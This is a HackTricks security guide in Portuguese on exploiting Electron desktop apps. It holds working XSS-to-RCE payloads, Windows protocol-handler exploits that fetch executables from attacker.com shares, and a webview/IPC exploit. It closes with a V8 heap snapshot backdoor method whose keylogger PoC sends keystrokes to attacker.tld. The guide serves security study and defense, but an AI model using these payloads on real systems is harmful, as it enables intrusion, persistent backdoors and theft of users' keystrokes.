Aplicações Desktop Electron
Reading time: 21 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Introdução
Electron combina um backend local (com NodeJS) e um frontend (Chromium), embora lhe faltem alguns dos mecanismos de segurança dos navegadores modernos.
Normalmente poderá encontrar o código da aplicação Electron dentro de uma aplicação .asar
; para obter o código é necessário extraí-lo:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
No código-fonte de um aplicativo Electron, dentro de packet.json
, você pode encontrar especificado o arquivo main.js
onde as configurações de segurança são definidas.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron tem 2 tipos de processo:
- Main Process (tem acesso completo ao NodeJS)
- Renderer Process (deve ter o acesso ao NodeJS restrito por motivos de segurança)
Um renderer process será uma janela do navegador carregando um arquivo:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
As configurações do renderer process podem ser configuradas no main process dentro do arquivo main.js. Algumas dessas configurações irão impedir que a Electron application obtenha RCE ou outras vulnerabilidades se as configurações estiverem corretas.
A Electron application pode acessar o dispositivo via Node apis, embora possa ser configurada para impedir isso:
nodeIntegration
- estáoff
por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process.contextIsolation
- estáon
por padrão. Seoff
, os processos main e renderer não são isolados.preload
- vazio por padrão.sandbox
- estáoff
por padrão. Vai restringir as ações que o NodeJS pode executar.- Node Integration in Workers
nodeIntegrationInSubframes
- estáoff
por padrão.- Se
nodeIntegration
estiver enabled, isso permitirá o uso das Node.js APIs em páginas web que são carregadas em iframes dentro de uma Electron application. - Se
nodeIntegration
estiver disabled, então os preloads serão carregados no iframe
Exemplo de configuração:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Alguns RCE payloads de here:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Capturar tráfego
Modifique a configuração start-main e adicione o uso de um proxy como:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Se você conseguir executar localmente um Electron App é possível que você possa fazê-lo executar código javascript arbitrário. Check how in:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Se o nodeIntegration estiver definido como on, o JavaScript de uma página web pode usar funcionalidades do Node.js facilmente apenas chamando require()
. Por exemplo, a forma de executar o aplicativo calc no Windows é:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
O script indicado nesta configuração é loaded before other scripts in the renderer, portanto tem unlimited access to Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Portanto, o script pode exportar node-features para páginas:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Se
contextIsolation
estiver ativado, isso não funcionará
RCE: XSS + contextIsolation
The contextIsolation introduces the contextos separados entre os scripts da página web e o código interno JavaScript do Electron para que a execução de JavaScript de cada um não afete o outro. Esta é uma funcionalidade necessária para eliminar a possibilidade de RCE.
Se os contextos não estiverem isolados, um atacante pode:
- Executar JavaScript arbitrário no renderer (XSS ou navegação para sites externos)
- Sobrescrever o método built-in que é usado no preload ou no código interno do Electron para se apropriar da função
- Acionar o uso da função sobrescrita
- RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Contornar evento de clique
Se houver restrições aplicadas ao clicar em um link, você pode conseguir contorná-las fazendo um clique do meio em vez de um clique esquerdo regular
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Para mais informações sobre estes exemplos, veja https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/
Ao implantar uma aplicação desktop Electron, garantir as configurações corretas de nodeIntegration
e contextIsolation
é crucial. Está estabelecido que client-side remote code execution (RCE) visando preload scripts ou o código nativo do Electron a partir do main process é efetivamente prevenido com essas configurações em vigor.
Quando um usuário interage com links ou abre novas janelas, event listeners específicos são acionados, os quais são cruciais para a segurança e funcionalidade da aplicação:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Estes listeners são sobrescritos pela aplicação desktop para implementar sua própria lógica de negócio. A aplicação avalia se um link navegadoo deve ser aberto internamente ou em um navegador web externo. Essa decisão é tipicamente tomada através de uma função, openInternally
. Se essa função retornar false
, indica que o link deve ser aberto externamente, utilizando a função shell.openExternal
.
Aqui está um pseudocódigo simplificado:
As melhores práticas de segurança do Electron JS recomendam evitar aceitar conteúdo não confiável com a função openExternal
, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem disparar RCE. Para exemplos detalhados e explicações adicionais sobre este tópico, pode-se consultar this resource, que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
No macOS, a função openExternal
pode ser explorada para executar comandos arbitrários, por exemplo shell.openExternal('file:///System/Applications/Calculator.app')
.
Examples of Windows protocol exploits include:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Esta vuln pode ser encontrada em this report.
O webviewTag é um recurso obsoleto que permite o uso de NodeJS no renderer process, que deve ser desabilitado, pois permite carregar um script dentro do preload context como:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Portanto, um atacante que consiga carregar uma página arbitrária poderia usar essa tag para carregar um preload script arbitrário.
Esse preload script foi então abusado para chamar um serviço IPC vulnerável (skype-new-window
) que chamava shell.openExternal
para obter RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Leitura de Arquivos Internos: XSS + contextIsolation
Desabilitar contextIsolation
permite o uso de tags <webview>
, semelhante a <iframe>
, para ler e exfiltrar arquivos locais. Um exemplo demonstra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:
Além disso, outro método para ler um arquivo interno é compartilhado, destacando uma vulnerabilidade crítica de leitura de arquivos locais em um aplicativo desktop Electron. Isso envolve injetar um script para explorar o aplicativo e exfiltrar dados:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
Se o chromium usado pela aplicação for antigo e houver known vulnerabilities nele, pode ser possível explorar isso e obter RCE através de um XSS.
Você pode ver um exemplo neste writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
Supondo que você encontrou um XSS mas não consegue acionar RCE ou roubar arquivos internos, você pode tentar usá‑lo para roubar credenciais via phishing.
Primeiro de tudo você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
A chamada para openInternally
decide se o link será aberto na janela do desktop por pertencer à plataforma, ou se será aberto no navegador como um recurso de terceiros.
No caso de a regex usada pela função ser vulnerável a bypasses (por exemplo por não escapar os pontos de subdomínios), um atacante poderia explorar o XSS para abrir uma nova janela que estará localizada na infraestrutura do atacante solicitando credenciais ao usuário:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protocolo
Como mencionado em the docs páginas executadas em file://
têm acesso unilateral a todos os arquivos da sua máquina, o que significa que problemas XSS podem ser usados para carregar arquivos arbitrários do computador do usuário. Usar um custom protocol previne esse tipo de problema, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos.
Remote module
The Electron Remote module allows renderer processes to access main process APIs, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
tip
Although the remote module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
warning
Many apps that still use the remote module do it in a way that require NodeIntegration to be enabled in the renderer process, which is a huge security risk.
Desde o Electron 14, o módulo remote
pode ser habilitado de várias maneiras; porém, por razões de segurança e performance, é recommended to not use it.
Para habilitá-lo, primeiro é necessário enable it in the main process:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Então, o processo renderer pode importar objetos do módulo assim:
import { dialog, getCurrentWindow } from '@electron/remote'
O blog post indica algumas funções interessantes expostas pelo objeto app
do módulo remote:
app.relaunch([options])
- Reinicia a aplicação saindo da instância atual e lançando uma nova. Útil para atualizações do app ou mudanças significativas de estado.
app.setAppLogsPath([path])
- Define ou cria um diretório para armazenar os logs do app. Os logs podem ser recuperados ou modificados usando
app.getPath()
ouapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Registra o executável atual como o manipulador padrão para um protocolo especificado. Você pode fornecer um caminho customizado e argumentos se necessário.
app.setUserTasks(tasks)
- Adiciona tasks à Tasks category na Jump List (no Windows). Cada task pode controlar como o app é lançado ou quais argumentos são passados.
app.importCertificate(options, callback)
- Importa um certificado PKCS#12 para o certificate store do sistema (somente Linux). Um callback pode ser usado para tratar o resultado.
app.moveToApplicationsFolder([options])
- Move a aplicação para a Applications folder (no macOS). Ajuda a garantir uma instalação padrão para usuários Mac.
app.setJumpList(categories)
- Define ou remove uma Jump List customizada no Windows. Você pode especificar categories para organizar como as tasks aparecem para o usuário.
app.setLoginItemSettings(settings)
- Configura quais executáveis iniciam no login juntamente com suas opções (somente macOS e Windows).
Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences module
A API principal para acessar as preferências do sistema e emitir eventos do sistema no Electron. Métodos como subscribeNotification, subscribeWorkspaceNotification, getUserDefault e setUserDefault são todos parte deste módulo.
Exemplo de uso:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Escuta notificações nativas do macOS usando NSDistributedNotificationCenter.
- Antes do macOS Catalina, você podia sniff todas as notificações distribuídas passando nil para CFNotificationCenterAddObserver.
- Após Catalina / Big Sur, apps em sandbox ainda podem subscrever-se a muitos eventos (por exemplo, bloqueios/desbloqueios de tela, montagens de volume, atividade de rede, etc.) registrando notificações pelo nome.
getUserDefault / setUserDefault
-
Interage com NSUserDefaults, que armazena preferências da aplicação ou globais no macOS.
-
getUserDefault pode recuperar informações sensíveis, como localizações de arquivos recentes ou localização geográfica do usuário.
-
setUserDefault pode modificar essas preferências, potencialmente afetando a configuração de um app.
-
Em versões mais antigas do Electron (before v8.3.0), apenas o conjunto padrão de NSUserDefaults era acessível.
Shell.showItemInFolder
Esta função mostra o arquivo dado em um gerenciador de arquivos, o que poderia executar automaticamente o arquivo.
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Política de Segurança de Conteúdo (CSP)
Aplicativos Electron devem ter uma Política de Segurança de Conteúdo (CSP) para prevenir ataques XSS. A CSP é um padrão de segurança que ajuda a evitar a execução de código não confiável no navegador.
Normalmente é configurada no arquivo main.js
ou no template index.html
com a CSP dentro de uma meta tag.
For more information check:
Content Security Policy (CSP) Bypass
Tools
- Electronegativity é uma ferramenta para identificar más configurações e anti-padrões de segurança em aplicações baseadas em Electron.
- Electrolint é um plugin de código aberto para VS Code para aplicações Electron que utiliza o Electronegativity.
- nodejsscan para verificar bibliotecas de terceiros vulneráveis
- Electro.ng: Requer compra
Labs
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s você pode encontrar um lab para exploit de Electron apps vulneráveis.
Alguns comandos que vão te ajudar no lab:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Backdoor local via adulteração de V8 heap snapshot (Electron/Chromium) – CVE-2025-55305
Apps baseados em Electron e Chromium desserializam um V8 heap snapshot pré-construído na inicialização (v8_context_snapshot.bin, e opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Historicamente, os fusíveis de integridade do Electron não tratavam esses snapshots como conteúdo executável, então eles escapavam tanto da aplicação de integridade baseada em fuse quanto das verificações de code-signing do SO. Como resultado, substituir o snapshot em uma instalação gravável pelo usuário permitia execução de código furtiva e persistente dentro do app sem modificar os binários assinados ou o ASAR.
Key points
- Lacuna de integridade: EnableEmbeddedAsarIntegrityValidation e OnlyLoadAppFromAsar validam o JavaScript do app dentro do ASAR, mas não cobriam V8 heap snapshots (CVE-2025-55305). Chromium de forma similar também não realiza integrity-check dos snapshots.
- Pré-requisitos do ataque: escrita local de ficheiro no diretório de instalação do app. Isso é comum em sistemas onde apps Electron ou browsers Chromium são instalados em caminhos graváveis pelo usuário (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Efeito: execução confiável do JavaScript do atacante em qualquer isolate ao sobrescrever um builtin frequentemente usado (um “gadget”), permitindo persistência e evasão da verificação de code-signing.
- Superfície afetada: apps Electron (mesmo com fuses habilitados) e browsers baseados em Chromium que carregam snapshots de locais graváveis pelo usuário.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (executar código diferente no main vs. renderer)
- Detecção do main process: Node-only globals como process.pid, process.binding(), ou process.dlopen estão presentes no main process isolate.
- Detecção Browser/renderer: Browser-only globals como alert estão disponíveis quando executados em um document context.
Exemplo de gadget que verifica as capacidades Node do main-process uma vez
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
PoC de roubo de dados do Renderer/browser-context (por exemplo, Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
Fluxo do operador
- Escreva payload.js que sobrescreve um builtin comum (ex., Array.isArray) e, opcionalmente, ramifica por isolate.
- Construa o snapshot sem as fontes do Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
- Substitua o(s) arquivo(s) de snapshot do aplicativo alvo:
- v8_context_snapshot.bin (usado sempre)
- browser_v8_context_snapshot.bin (se o LoadBrowserProcessSpecificV8Snapshot fuse for usado)
- Inicie o aplicativo; o gadget é executado sempre que o builtin escolhido for usado.
Notas e considerações
- Bypass de integridade/assinatura: Os arquivos snapshot não são tratados como executáveis nativos pelas verificações de assinatura de código e (historicamente) não eram cobertos pelos fuses do Electron ou pelos controles de integridade do Chromium.
- Persistência: Substituir o snapshot em uma instalação gravável pelo usuário normalmente sobrevive a reinicializações do app e aparenta ser um aplicativo legítimo e assinado.
- Navegadores Chromium: O mesmo conceito de adulteração se aplica ao Chrome/derivados instalados em locais graváveis pelo usuário. O Chrome possui outras mitigação de integridade, mas exclui explicitamente ataques fisicamente locais do seu modelo de ameaças.
Detecção e mitigações
- Trate snapshots como conteúdo executável e inclua-os na aplicação de integridade (CVE-2025-55305 fix).
- Prefira locais de instalação graváveis somente por admin; estabeleça linha de base e monitore hashes de v8_context_snapshot.bin e browser_v8_context_snapshot.bin.
- Detecte sobrescritas de builtin em tempo de execução inicial e mudanças inesperadas de snapshot; gere alertas quando snapshots desserializados não corresponderem aos valores esperados.
References
-
https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
-
https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
-
More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
-
https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
-
https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.